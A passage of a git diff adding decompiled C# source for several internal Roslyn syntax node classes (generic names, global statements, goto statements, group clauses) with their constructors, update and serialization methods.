FunctionPointerUnmanagedCallingConventionListSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/FunctionPointerUnmanagedCallingConventionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/FunctionPointerUnmanagedCallingConventionSyntax.cs new file mode 100644 index 0000000..aa43da6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/FunctionPointerUnmanagedCallingConventionSyntax.cs @@ -0,0 +1,111 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class FunctionPointerUnmanagedCallingConventionSyntax : CSharpSyntaxNode +{ + internal readonly SyntaxToken name; + + public SyntaxToken Name => name; + + internal FunctionPointerUnmanagedCallingConventionSyntax(SyntaxKind kind, SyntaxToken name, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + } + + internal FunctionPointerUnmanagedCallingConventionSyntax(SyntaxKind kind, SyntaxToken name, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + } + + internal FunctionPointerUnmanagedCallingConventionSyntax(SyntaxKind kind, SyntaxToken name) + : base(kind) + { + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + } + + internal override GreenNode? GetSlot(int index) + { + if (index != 0) + { + return null; + } + return (GreenNode?)(object)name; + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.FunctionPointerUnmanagedCallingConventionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitFunctionPointerUnmanagedCallingConvention(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitFunctionPointerUnmanagedCallingConvention(this); + } + + public FunctionPointerUnmanagedCallingConventionSyntax Update(SyntaxToken name) + { + if (name != Name) + { + FunctionPointerUnmanagedCallingConventionSyntax functionPointerUnmanagedCallingConventionSyntax = SyntaxFactory.FunctionPointerUnmanagedCallingConvention(name); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + functionPointerUnmanagedCallingConventionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(functionPointerUnmanagedCallingConventionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + functionPointerUnmanagedCallingConventionSyntax = GreenNodeExtensions.WithAnnotationsGreen(functionPointerUnmanagedCallingConventionSyntax, (IEnumerable)annotations); + } + return functionPointerUnmanagedCallingConventionSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new FunctionPointerUnmanagedCallingConventionSyntax(base.Kind, name, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new FunctionPointerUnmanagedCallingConventionSyntax(base.Kind, name, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal FunctionPointerUnmanagedCallingConventionSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 1; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + name = syntaxToken; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)name); + } + + static FunctionPointerUnmanagedCallingConventionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(FunctionPointerUnmanagedCallingConventionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new FunctionPointerUnmanagedCallingConventionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/GenericNameSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/GenericNameSyntax.cs new file mode 100644 index 0000000..1d7f850 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/GenericNameSyntax.cs @@ -0,0 +1,126 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class GenericNameSyntax : SimpleNameSyntax +{ + internal readonly SyntaxToken identifier; + + internal readonly TypeArgumentListSyntax typeArgumentList; + + public override SyntaxToken Identifier => identifier; + + public TypeArgumentListSyntax TypeArgumentList => typeArgumentList; + + internal GenericNameSyntax(SyntaxKind kind, SyntaxToken identifier, TypeArgumentListSyntax typeArgumentList, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeArgumentList); + this.typeArgumentList = typeArgumentList; + } + + internal GenericNameSyntax(SyntaxKind kind, SyntaxToken identifier, TypeArgumentListSyntax typeArgumentList, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeArgumentList); + this.typeArgumentList = typeArgumentList; + } + + internal GenericNameSyntax(SyntaxKind kind, SyntaxToken identifier, TypeArgumentListSyntax typeArgumentList) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeArgumentList); + this.typeArgumentList = typeArgumentList; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => identifier, + 1 => typeArgumentList, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.GenericNameSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitGenericName(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitGenericName(this); + } + + public GenericNameSyntax Update(SyntaxToken identifier, TypeArgumentListSyntax typeArgumentList) + { + if (identifier != Identifier || typeArgumentList != TypeArgumentList) + { + GenericNameSyntax genericNameSyntax = SyntaxFactory.GenericName(identifier, typeArgumentList); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + genericNameSyntax = GreenNodeExtensions.WithDiagnosticsGreen(genericNameSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + genericNameSyntax = GreenNodeExtensions.WithAnnotationsGreen(genericNameSyntax, (IEnumerable)annotations); + } + return genericNameSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new GenericNameSyntax(base.Kind, identifier, typeArgumentList, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new GenericNameSyntax(base.Kind, identifier, typeArgumentList, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal GenericNameSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 2; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + identifier = syntaxToken; + TypeArgumentListSyntax typeArgumentListSyntax = (TypeArgumentListSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeArgumentListSyntax); + typeArgumentList = typeArgumentListSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)identifier); + writer.WriteValue((IObjectWritable)(object)typeArgumentList); + } + + static GenericNameSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(GenericNameSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new GenericNameSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/GlobalStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/GlobalStatementSyntax.cs new file mode 100644 index 0000000..08d9d2d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/GlobalStatementSyntax.cs @@ -0,0 +1,176 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class GlobalStatementSyntax : MemberDeclarationSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly GreenNode? modifiers; + + internal readonly StatementSyntax statement; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public override SyntaxList Modifiers => new SyntaxList(modifiers); + + public StatementSyntax Statement => statement; + + internal GlobalStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, StatementSyntax statement, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)statement); + this.statement = statement; + } + + internal GlobalStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, StatementSyntax statement, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)statement); + this.statement = statement; + } + + internal GlobalStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, StatementSyntax statement) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)statement); + this.statement = statement; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => modifiers, + 2 => statement, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.GlobalStatementSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitGlobalStatement(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitGlobalStatement(this); + } + + public GlobalStatementSyntax Update(SyntaxList attributeLists, SyntaxList modifiers, StatementSyntax statement) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || statement != Statement) + { + GlobalStatementSyntax globalStatementSyntax = SyntaxFactory.GlobalStatement(attributeLists, modifiers, statement); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + globalStatementSyntax = GreenNodeExtensions.WithDiagnosticsGreen(globalStatementSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + globalStatementSyntax = GreenNodeExtensions.WithAnnotationsGreen(globalStatementSyntax, (IEnumerable)annotations); + } + return globalStatementSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new GlobalStatementSyntax(base.Kind, attributeLists, modifiers, statement, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new GlobalStatementSyntax(base.Kind, attributeLists, modifiers, statement, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal GlobalStatementSyntax(ObjectReader reader) + : base(reader) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Expected O, but got Unknown + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 3; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + GreenNode val2 = (GreenNode)reader.ReadValue(); + if (val2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val2); + modifiers = val2; + } + StatementSyntax statementSyntax = (StatementSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)statementSyntax); + statement = statementSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)modifiers); + writer.WriteValue((IObjectWritable)(object)statement); + } + + static GlobalStatementSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(GlobalStatementSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new GlobalStatementSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/GotoStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/GotoStatementSyntax.cs new file mode 100644 index 0000000..ce03f6e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/GotoStatementSyntax.cs @@ -0,0 +1,213 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class GotoStatementSyntax : StatementSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly SyntaxToken gotoKeyword; + + internal readonly SyntaxToken? caseOrDefaultKeyword; + + internal readonly ExpressionSyntax? expression; + + internal readonly SyntaxToken semicolonToken; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public SyntaxToken GotoKeyword => gotoKeyword; + + public SyntaxToken? CaseOrDefaultKeyword => caseOrDefaultKeyword; + + public ExpressionSyntax? Expression => expression; + + public SyntaxToken SemicolonToken => semicolonToken; + + internal GotoStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken gotoKeyword, SyntaxToken? caseOrDefaultKeyword, ExpressionSyntax? expression, SyntaxToken semicolonToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 5; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)gotoKeyword); + this.gotoKeyword = gotoKeyword; + if (caseOrDefaultKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)caseOrDefaultKeyword); + this.caseOrDefaultKeyword = caseOrDefaultKeyword; + } + if (expression != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + + internal GotoStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken gotoKeyword, SyntaxToken? caseOrDefaultKeyword, ExpressionSyntax? expression, SyntaxToken semicolonToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 5; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)gotoKeyword); + this.gotoKeyword = gotoKeyword; + if (caseOrDefaultKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)caseOrDefaultKeyword); + this.caseOrDefaultKeyword = caseOrDefaultKeyword; + } + if (expression != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + + internal GotoStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken gotoKeyword, SyntaxToken? caseOrDefaultKeyword, ExpressionSyntax? expression, SyntaxToken semicolonToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 5; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)gotoKeyword); + this.gotoKeyword = gotoKeyword; + if (caseOrDefaultKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)caseOrDefaultKeyword); + this.caseOrDefaultKeyword = caseOrDefaultKeyword; + } + if (expression != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => gotoKeyword, + 2 => caseOrDefaultKeyword, + 3 => expression, + 4 => semicolonToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.GotoStatementSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitGotoStatement(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitGotoStatement(this); + } + + public GotoStatementSyntax Update(SyntaxList attributeLists, SyntaxToken gotoKeyword, SyntaxToken caseOrDefaultKeyword, ExpressionSyntax expression, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || gotoKeyword != GotoKeyword || caseOrDefaultKeyword != CaseOrDefaultKeyword || expression != Expression || semicolonToken != SemicolonToken) + { + GotoStatementSyntax gotoStatementSyntax = SyntaxFactory.GotoStatement(base.Kind, attributeLists, gotoKeyword, caseOrDefaultKeyword, expression, semicolonToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + gotoStatementSyntax = GreenNodeExtensions.WithDiagnosticsGreen(gotoStatementSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + gotoStatementSyntax = GreenNodeExtensions.WithAnnotationsGreen(gotoStatementSyntax, (IEnumerable)annotations); + } + return gotoStatementSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new GotoStatementSyntax(base.Kind, attributeLists, gotoKeyword, caseOrDefaultKeyword, expression, semicolonToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new GotoStatementSyntax(base.Kind, attributeLists, gotoKeyword, caseOrDefaultKeyword, expression, semicolonToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal GotoStatementSyntax(ObjectReader reader) + : base(reader) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 5; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + gotoKeyword = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + if (syntaxToken2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + caseOrDefaultKeyword = syntaxToken2; + } + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + if (expressionSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + expression = expressionSyntax; + } + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + semicolonToken = syntaxToken3; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)gotoKeyword); + writer.WriteValue((IObjectWritable)(object)caseOrDefaultKeyword); + writer.WriteValue((IObjectWritable)(object)expression); + writer.WriteValue((IObjectWritable)(object)semicolonToken); + } + + static GotoStatementSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(GotoStatementSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new GotoStatementSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/GroupClauseSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/GroupClauseSyntax.cs new file mode 100644 index 0000000..3d47768 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/GroupClauseSyntax.cs @@ -0,0 +1,156 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class GroupClauseSyntax : SelectOrGroupClauseSyntax +{ + internal readonly SyntaxToken groupKeyword; + + internal readonly ExpressionSyntax groupExpression; + + internal readonly SyntaxToken byKeyword; + + internal readonly ExpressionSyntax byExpression; + + public SyntaxToken GroupKeyword => groupKeyword; + + public ExpressionSyntax GroupExpression => groupExpression; + + public SyntaxToken ByKeyword => byKeyword; + + public ExpressionSyntax ByExpression => byExpression; + + internal GroupClauseSyntax(SyntaxKind kind, SyntaxToken groupKeyword, ExpressionSyntax groupExpression, SyntaxToken byKeyword, ExpressionSyntax byExpression, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)groupKeyword); + this.groupKeyword = groupKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)groupExpression); + this.groupExpression = groupExpression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)byKeyword); + this.byKeyword = byKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)byExpression); + this.byExpression = byExpression; + } + + internal GroupClauseSyntax(SyntaxKind kind, SyntaxToken groupKeyword, ExpressionSyntax groupExpression, SyntaxToken byKeyword, ExpressionSyntax byExpression, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)groupKeyword); + this.groupKeyword = groupKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)groupExpression); + this.groupExpression = groupExpression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)byKeyword); + this.byKeyword = byKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)byExpression); + this.byExpression = byExpression; + } + + internal GroupClauseSyntax(SyntaxKind kind, SyntaxToken groupKeyword, ExpressionSyntax groupExpression, SyntaxToken byKeyword, ExpressionSyntax byExpression) + : base(kind) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)groupKeyword); + this.groupKeyword = groupKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)groupExpression); + this.groupExpression = groupExpression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)byKeyword); + this.byKeyword = byKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)byExpression); + this.byExpression = byExpression; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => groupKeyword, + 1 => groupExpression, + 2 => byKeyword, + 3 => byExpression, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.GroupClauseSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitGroupClause(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitGroupClause(this); + } + + public GroupClauseSyntax Update(SyntaxToken groupKeyword, ExpressionSyntax groupExpression, SyntaxToken byKeyword, ExpressionSyntax byExpression) + { + if (groupKeyword != GroupKeyword || groupExpression != GroupExpression || byKeyword != ByKeyword || byExpression != ByExpression) + { + GroupClauseSyntax groupClauseSyntax = SyntaxFactory.GroupClause(groupKeyword, groupExpression, byKeyword, byExpression); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + groupClauseSyntax = GreenNodeExtensions.WithDiagnosticsGreen(groupClauseSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + groupClauseSyntax = GreenNodeExtensions.WithAnnotationsGreen(groupClauseSyntax, (IEnumerable)annotations); + } + return groupClauseSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new GroupClauseSyntax(base.Kind, groupKeyword, groupExpression, byKeyword, byExpression, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new GroupClauseSyntax(base.Kind, groupKeyword, groupExpression, byKeyword, byExpression, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal GroupClauseSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 4; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + groupKeyword = syntaxToken; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + groupExpression = expressionSyntax; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + byKeyword = syntaxToken2; + ExpressionSyntax expressionSyntax2 = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax2); + byExpression = expressionSyntax2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)groupKeyword); + writer.WriteValue((IObjectWritable)(object)groupExpression); + writer.WriteValue((IObjectWritable)(object)byKeyword); + writer.WriteValue((IObjectWritable)(object)byExpression); + } + + static GroupClauseSyntax() + { + 